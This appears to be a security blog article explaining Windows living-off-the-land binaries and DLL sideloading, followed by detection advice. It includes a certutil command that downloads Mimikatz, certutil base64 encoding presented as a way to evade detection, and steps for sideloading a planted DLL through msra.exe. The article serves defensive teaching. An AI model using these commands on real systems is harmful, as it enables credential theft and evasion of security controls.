'Living-off-the-land' binaries, or LOLBins, are binaries that are a native part of the operating system that can be used to further an attacker's goal without downloading or installing new tooling or malware. This is useful to bypass existing controls such as application allow-listing, but also for more general defence evasion when completing objectives as part of the cyber kill-chain such as command execution, privilege escalation, lateral movement or data exfiltration.
The term 'living off the land' was popularised during a DerbyCon 3 talk by Matt Graeber and Christopher Campbell (DerbyCon 3 0 1209 Living Off The Land A Minimalist S Guide To Windows Post Exploitation Christopher) where they highlighted various ways of using native binaries, libraries and scripting capabilities (such as PowerShell) to complete post-exploitation objectives on Windows hosts and domains. While defensive capabilities have improved with more extensive PowerShell logging and the introduction of the Anti-Malware Scanning Interface (AMSI) with Windows 10 (https://www.microsoft.com/security/blog/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc), attackers have responded by finding creative ways around defensive measures by using these native capabilities of the Windows operating system.
Some of the popular applications of LOLBins are file downloads, file encoding and decoding, and command execution. A popular LOLBin is certutil.exe, found natively in C:\Windows\System32. Certutil can be used to download a file from any website using the `-urlcache` flag, for example with the following command line (CMD) command:
certutil.exe -urlcache -split -f https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip mimikatz_trunk.zip
While dropping Mimikatz to disk should be caught by most endpoint security products, certutil.exe has another known use case that is useful to attackers: it can be used to encode and decode base64. This could allow a malicious actor to encode a tool or script in base64 on another host, then transfer it and decode it on the destination host. This could aid in bypassing network-based detection controls while the file is being transferred, as well as any initial disk-based detection (though more endpoint products are detecting base64-encoded files now and this detection logic should start becoming more common).
The following sample CMD commands can be used to encode and decode an existing base64-encoded file back into its original format:
certutil -encode inputfile encodedfile
certutil -decode encodedfile outputfile
It should be noted that the encoded file is not just a base64-encoded text file, but a base64 encoded certificate:
This poses no issues if the file was encoded on a Windows system using the same tooling, however converting a file to base64 on a Linux-based operating system, for example, would have to take this into account by ensuring it conforms to the same format so it can be decoded without issues.
While LOLBins are commonly used to bypass existing defensive controls such as the Windows native AppLocker and other allow-listing controls, there is a tangentially related technique called DLL sideloading which also uses existing Windows native binaries to execute code. However, in this case the binaries are used to hide malicious code by planting it as a legitimate-looking DLL file and forcing the binary to load it. This abuses a default Windows configuration weakness where binaries will first search the local folder prior to searching the system folders.
For example, it is possible to use the Microsoft Remote Assistance (msra.exe) binary found in C:\Windows\System32 to load code from userenv.dll (also found by default in that same folder). To achieve DLL sideloading, simply copy the executable and malicious DLL file into a new folder and launch msra.exe.
To further demonstrate this, a new DLL was created that simply displays a message box when it is attached to a new process (the exported functions present in the legitimate userenv.dll were copied and added as exported functions in our malicious DLL using comment directives in the DLL source code):
A new folder was created and the newly compiled DLL, as well as msra.exe, were copied into it. When msra.exe is launched, ProcMon monitoring confirms that the DLL is loaded by the process and the message box pops up, confirming the execution was successful:
While this technique is largely mitigated by enabling the SafeDLLSearchMode option in the Windows registry, the above example was tested on a Windows 10 Enterprise operating system, version 21H1 19043.1526 (last updated on 8 Feb 2022), highlighting that this recommended configuration does not catch and prevent all cases of DLL sideloading. It should also be noted that AppLocker rules are available to mitigate this scenario, although Microsoft places a warning on this configuration that it could impact performance due to the additional workload of checking all DLLs against AppLocker rules every time they are loaded (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/dll-rules-in-applocker). Due to this potential impact, many corporations will opt not to implement the DLL AppLocker rules and remain vulnerable to this technique.
Due to their native presence in the operating system, LOLBins are ubiquitous and are commonly executed by the operating system and other installed programs. This presents some challenges around creating detection rules without creating false positive alerts. Luckily, a crowd-sourced website (https://lolbas-project.github.io) provides information on both the offensive and defensive aspects of these binaries, with rules available for open-source tooling which can be easily adapted into the detection engine of your choice.
As for DLL sideloading, various detection opportunities exist, among them are the lack of valid, Microsoft-supplied Authenticode signatures on custom DLLs, as well as the technique requiring attackers to drop new DLLs to disk. Monitoring new DLL files on the system that are not installed as part of a software update and are lacking valid Authenticode signatures could provide a high-fidelity alert to catch DLL hijacks early on.